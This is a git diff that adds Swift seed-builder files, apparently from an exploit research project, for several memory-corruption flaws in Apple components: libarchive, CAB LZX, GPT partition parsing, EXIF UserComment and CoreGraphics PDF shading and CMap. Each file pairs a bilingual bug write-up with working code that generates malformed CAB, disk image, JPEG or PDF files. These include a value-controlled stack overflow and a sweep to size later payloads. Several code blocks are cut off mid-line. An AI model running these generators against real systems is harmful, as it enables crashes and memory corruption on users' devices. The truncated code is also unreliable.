Joliet pathname heap overflow +// After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte +// UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain +// sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024) +// buffer, and 0x002F overwrites the adjacent heap chunk header. +// ── 判别 / oracle ── +// 目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too +// long\" 之前的写指令。 +// 变体 arc.iso.stress: Joliet 路径长度循环 +// 变体 arc.cab: CAB LZX 历史未初始化即取匹配 +// +// 种子构建器(python,可直接运行): CVE-2026-112522/CVE-2026-112522.py +// runnable python seed builder: CVE-2026-112522/CVE-2026-112522.py + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// arc.iso.stress · libarchive · build_pathname_utf16be · CVE-2026-112522 +// 原语: OOB 写 · 进程内 · tier 1 +// Primitive: OOB write · in-process · tier 1 +// +// [zh] Joliet 路径长度循环 +// 对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。 +// +// [en] Joliet path length loop +// The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves +// with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition +// is what pushes the damage into a visible position. +*/ + +/* +// arc.cab · libarchive · lzx_decode_blocks · CVE-2026-112522 +// 原语: OOB 读 · 进程内 · tier 2 +// Primitive: OOB read · in-process · tier 2 +// +// [zh] CAB LZX 历史未初始化即取匹配 +// LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。 +// 27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。 +// +// [en] CAB LZX match against uninitialised history +// LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop. +// While the window has not yet been written, copy_pos points into uninitialised memory and the copied +// bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED. +*/ + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (CABPayload) ── +enum CABPayload { +static func lzxEarlyMatch() -> Data { + var out = Data() + + let cfdataPayload: [UInt8] = [ + // CFDATA header is written separately below; this is the LZX block itself. + 0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes + 0x1E, // main tree: single match-ish symbol stream + 0x00, 0x00, // length footer + 0x00, 0x00, 0x00, 0x00, // offset + ] + + var cfdata = Data() + cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked) + cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count))) + cfdata.append(contentsOf: B.le16(0)) // reserved + cfdata.append(contentsOf: cfdataPayload) + + var file = Data() + file.append(contentsOf: B.ascii("Cinder")) + file.append(contentsOf: B.le32(0)) // size + file.append(contentsOf: B.le32(0)) // offset in folder + file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive + file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time + file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA" + file.append(0) + + let headerSize = 36 + let folderSize = 8 + let fileSize = file.count + let dataSize = cfdata.count + let total = headerSize + folderSize + fileSize + dataSize + + out.append(contentsOf: B.ascii("MSCF")) + out.append(contentsOf: B.le32(0)) // reserved1 + out.append(contentsOf: B.le32(UInt32(total))) // cabinet size + out.append(contentsOf: B.le32(0)) // reserved2 + out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset + out.append(contentsOf: B.le32(0)) // reserved3 + out.append(contentsOf: [3, 1]) // version minor, major + out.append(contentsOf: B.le16(1)) // folder count + out.append(contentsOf: B.le16(1)) // file count + out.append(contentsOf: B.le16(0)) // flags + out.append(contentsOf: B.le16(0x1234)) // set id + out.append(contentsOf: B.le16(0)) // cabinet index + + // CFFOLDER + out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset + out.append(contentsOf: B.le16(1)) // data block count + out.append(contentsOf: B.le16(3)) // compression type 3 = LZX + out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB) + + out.append(contentsOf: file) + out.append(contentsOf: cfdata) + return out + } + +} + + diff --git a/CVE-2026-112546/CVE-2026-112546.swift b/CVE-2026-112546/CVE-2026-112546.swift new file mode 100644 index 0000000..e77a114 --- /dev/null +++ b/CVE-2026-112546/CVE-2026-112546.swift @@ -0,0 +1,40 @@ +// aud.hoa · AudioCodecs · APACHOADecoder::Initialize · CVE-2026-112546 +// 原语: OOB 读 · 系统进程 · tier 2 +// Primitive: OOB read · system process · tier 2 +// +// [zh] HOA 空间音频系数越界读 +// mNumHOAcoeffs 由文件内的 hoa::CodecConfig 反序列化取得。既有检查仅拦下大于 122 的值,而 37 至 121 之间的取值会索引一个长度为 37 的数组。27.2 +// 将比较阈值改为 0x25。 +// +// [en] HOA spatial audio coefficient out-of-bounds read +// mNumHOAcoeffs is deserialised from the file's hoa::CodecConfig. The existing check only rejects +// values above 122, while anything from 37 to 121 indexes an array of length 37. iOS 27.2 changes +// the comparison threshold to 0x25. +// ── 判别 / oracle ── +// 系数上限来自 kMaxNumSCs_DynSelSCs4EachSB。这条要真正打进去需要 MPEG-H / 沉浸式音频文件,应用侧只能探到解码器是否可达。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112554/CVE-2026-112554.swift b/CVE-2026-112554/CVE-2026-112554.swift new file mode 100644 index 0000000..0319f43 --- /dev/null +++ b/CVE-2026-112554/CVE-2026-112554.swift @@ -0,0 +1,128 @@ +// kext.gpt · IOStorageFamily · CVE-2026-112554 +// 原语: OOB 读 · 内核 · tier 2 +// Primitive: OOB read · kernel · tier 2 +// +// [zh] GPT 分区名扫描 72 字节内核堆越界读 +// 分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节,而 GPT 条目内的名字域仅 36 个 UTF-16 单元;27.0 的扫描因此越过条目尾,读入相邻内核堆。 +// +// [en] GPT partition name scan 72-byte kernel heap out-of-bounds read +// The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the +// name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail +// and into adjacent kernel heap. +// ── 判别 / oracle ── +// 应用侧无法 attach 磁盘镜像,故本模块做两件事:构造会使 27.0 越界的镜像,并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧,不在用户态。 + +import Foundation + +// 本地化直通 shim — app 内该函数经 RuntimeText 映射输出双语。 +// identity localization shim — the app routes this through RuntimeText. +func tl(_ s: String) -> String { s } + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (GPTPayload) ── +enum GPTPayload { +static func describe(_ image: Data) -> [String] { + var lines: [String] = [] + guard image.count >= 1024 else { return [tl("镜像过短")] } + let sig = [UInt8](image[512..<520]) + guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else { + return [tl("无 GPT 签名")] + } + let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) } + let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) } + let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) } + lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B")) + let base = Int(entryLBA) * 512 + for i in 0.. Data { + let sector = 512 + var out = Data() + + // protective MBR + var mbr = [UInt8](repeating: 0, count: sector) + mbr[446 + 4] = 0xEE + mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF + mbr[446 + 8] = 0x01 + let totalSectors: UInt32 = 34 + mbr[446 + 12] = UInt8(totalSectors & 0xff) + mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff) + mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff) + mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff) + mbr[510] = 0x55; mbr[511] = 0xAA + out.append(contentsOf: mbr) + + // primary GPT header + var hdr = [UInt8](repeating: 0, count: sector) + hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20 + hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54 + hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00 + let headerSize: UInt32 = 92 + hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0 + hdr[24] = 2 // my LBA + hdr[32] = 33 // alternate LBA + hdr[40] = 2 // first usable + hdr[48] = 32 // last usable + hdr[72] = 2 // entry array LBA + let entries: UInt32 = UInt32(entryCount) + hdr[80] = UInt8(entries & 0xff) + hdr[84] = 128 // entry size + out.append(contentsOf: hdr) + + // partition entries + var array = Data() + for i in 0..> 8) & 0xff) + } + array.append(contentsOf: entry) + } + out.append(array) + while out.count % sector != 0 { out.append(0) } + return out + } + +} + + diff --git a/CVE-2026-112571/CVE-2026-112571.swift b/CVE-2026-112571/CVE-2026-112571.swift new file mode 100644 index 0000000..eb44a66 --- /dev/null +++ b/CVE-2026-112571/CVE-2026-112571.swift @@ -0,0 +1,66 @@ +// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571 +// 原语: 信息泄露 · 进程内 · tier 2 +// Primitive: info leak · in-process · tier 2 +// +// [zh] EXIF UserComment 短读 → 元数据泄露 +// getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 —— +// 构成对进程堆的直接读取。 +// +// [en] EXIF UserComment short read → metadata disclosure +// The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside +// the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that +// buffer is then handed back to the caller as the UserComment metadata value — a direct read of the +// process heap. +// ── 判别 / oracle ── +// count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── +enum JPEGPayload { +static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data { + var tiff = Data() + tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42 + tiff.append(contentsOf: B.be32(8)) // IFD0 at 8 + tiff.append(contentsOf: B.be16(1)) // 1 entry + tiff.append(contentsOf: B.be16(0x9286)) // UserComment + tiff.append(contentsOf: B.be16(7)) // UNDEFINED + tiff.append(contentsOf: B.be32(UInt32(count))) + tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block + tiff.append(contentsOf: B.be32(0)) // next IFD + + var out = minimalSOI() + let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) + let len = payload.count + 2 + out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] + out += payload + out += [0xFF, 0xD9] + return Data(out) + } + +static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] } + +} + + diff --git a/CVE-2026-112610/CVE-2026-112610.swift b/CVE-2026-112610/CVE-2026-112610.swift new file mode 100644 index 0000000..dfd989a --- /dev/null +++ b/CVE-2026-112610/CVE-2026-112610.swift @@ -0,0 +1,100 @@ +// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610 +// 原语: OOB 写 · 进程内 · tier 3 +// Primitive: OOB write · in-process · tier 3 +// +// [zh] CMap /UseCMap 递归越界写(负结果探针) +// _cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4) +// 钳制并重排输出槽布局。 +// +// [en] CMap /UseCMap recursion out-of-bounds write (negative-result probe) +// _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single +// result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays +// out the output slots. +// ── 判别 / oracle ── +// 源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── +enum PDFPayload { +struct PDFBuilder { + private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] + + mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) { + objects[n] = (dict, stream) + } + + func data() -> Data { + var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8) + var offsets: [Int: Int] = [:] + for n in objects.keys.sorted() { + guard let obj = objects[n] else { continue } + offsets[n] = out.count + out.append(Data("\(n) 0 obj\n".utf8)) + out.append(Data(obj.dict.utf8)) + if let stream = obj.stream { + out.append(Data("\nstream\n".utf8)) + out.append(Data(stream)) + out.append(Data("\nendstream".utf8)) + } + out.append(Data("\nendobj\n".utf8)) + } + let xrefPos = out.count + let maxObj = objects.keys.max() ?? 0 + out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8)) + for n in 1...max(maxObj, 1) { + let off = offsets[n] ?? 0 + out.append(Data(String(format: "%010d 00000 n \n", off).utf8)) + } + out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8)) + return out + } +} + +static func cmapProbe(codespaceLength: Int = 128) -> Data { + var cmap = "" + cmap += "%!PS-Adobe-3.0 Resource-CMap\n" + cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n" + cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n" + cmap += "1 begincodespacerange\n" + cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n" + cmap += "endcodespacerange\n" + cmap += "1 begincidrange\n<00> 0\nendcidrange\n" + cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n" + let cmapBytes = B.ascii(cmap) + + var pdf = PDFBuilder() + pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>") + pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") + pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>") + pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET")) + pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>") + pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes) + pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>") + return pdf.data() + } + +} + + diff --git a/CVE-2026-112611/CVE-2026-112611.swift b/CVE-2026-112611/CVE-2026-112611.swift new file mode 100644 index 0000000..515402a --- /dev/null +++ b/CVE-2026-112611/CVE-2026-112611.swift @@ -0,0 +1,161 @@ +// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 +// 原语: OOB 写 · 进程内 · tier 1 +// Primitive: OOB write · in-process · tier 1 +// +// [zh] Type-5 阴影栈溢出(值可控 OOB 写) +// /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条 +// 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range +// 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。 +// +// [en] Type-5 shading stack overflow (value-controlled OOB write) +// A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the +// component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh +// record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then +// calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension) +// and writes that many doubles into the colour area. No comparison exists between the write length +// and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate, +// so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and +// the saved registers in order. +// ── 判别 / oracle ── +// 取 R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽; +// 循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c, +// 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。 +// 变体 cg.shading.sweep: 溢出长度扫描(找吸收阈值) + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611 +// 原语: OOB 写 · 进程内 · tier 1 +// Primitive: OOB write · in-process · tier 1 +// +// [zh] 溢出长度扫描(找吸收阈值) +// 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。 +// +// [en] Overflow length sweep (finding the absorption threshold) +// A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough +// to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering +// still completes, and thereby maps the real boundary of the stack layout on this build. That threshold +// sets the length budget for every subsequent payload. +*/ + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── +enum PDFPayload { +struct BitWriter { + private(set) var out: [UInt8] = [] + private var acc: UInt8 = 0 + private var nbits = 0 + + mutating func put(_ value: UInt32, _ width: Int) { + guard width > 0 else { return } + for i in stride(from: width - 1, through: 0, by: -1) { + acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1) + nbits += 1 + if nbits == 8 { out.append(acc); acc = 0; nbits = 0 } + } + } + + mutating func putExpGolomb(_ value: UInt32) { + let v = value + 1 + var bits = 0 + while (v >> UInt32(bits)) > 1 { bits += 1 } + for _ in 0.. [UInt8] { + if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 } + return out + } +} + +struct PDFBuilder { + private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] + + mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) { + objects[n] = (dict, stream) + } + + func data() -> Data { + var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8) + var offsets: [Int: Int] = [:] + for n in objects.keys.sorted() { + guard let obj = objects[n] else { continue } + offsets[n] = out.count + out.append(Data("\(n) 0 obj\n".utf8)) + out.append(Data(obj.dict.utf8)) + if let stream = obj.stream { + out.append(Data("\nstream\n".utf8)) + out.append(Data(stream)) + out.append(Data("\nendstream".utf8)) + } + out.append(Data("\nendobj\n".utf8)) + } + let xrefPos = out.count + let maxObj = objects.keys.max() ?? 0 + out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8)) + for n in 1...max(maxObj, 1) { + let off = offsets[n] ?? 0 + out.append(Data(String(format: "%010d 00000 n \n", off).utf8)) + } + out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8)) + return out + } +} + +static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data { + let bpCoord = 32 + let bpComp = 8 + + var bw = BitWriter() + var verts: [(UInt32, UInt32)] = [] + for r in 0..>") + pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") + pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>") + pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh")) + pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream) + pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>") + return pdf.data() + } + +} + + diff --git a/CVE-2026-112619/CVE-2026-112619.swift b/CVE-2026-112619/CVE-2026-112619.swift new file mode 100644 index 0000000..2899026 --- /dev/null +++ b/CVE-2026-112619/CVE-2026-112619.swift @@ -0,0 +1,42 @@ +// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619 +// 原语: OOB 写 · 系统进程 · tier 3 +// Primitive: OOB write · system process · tier 3 +// +// [zh] 日历附件解压容器逃逸 +// 27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath +// / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 —— +// 修复全部位于附件归档的解压遏制层。 +// +// [en] Calendar attachment extraction containment +// iOS 27.2 replaces _UnzipArchive (288 B, no limits at all) with _UnzipArchiveWithLimits (2040 B) +// and adds _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath +// plus isSymbolicLinkAtURL. The ICS parser itself is untouched — the whole fix sits in the attachment +// archive extraction containment layer. +// ── 判别 / oracle ── +// 应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] 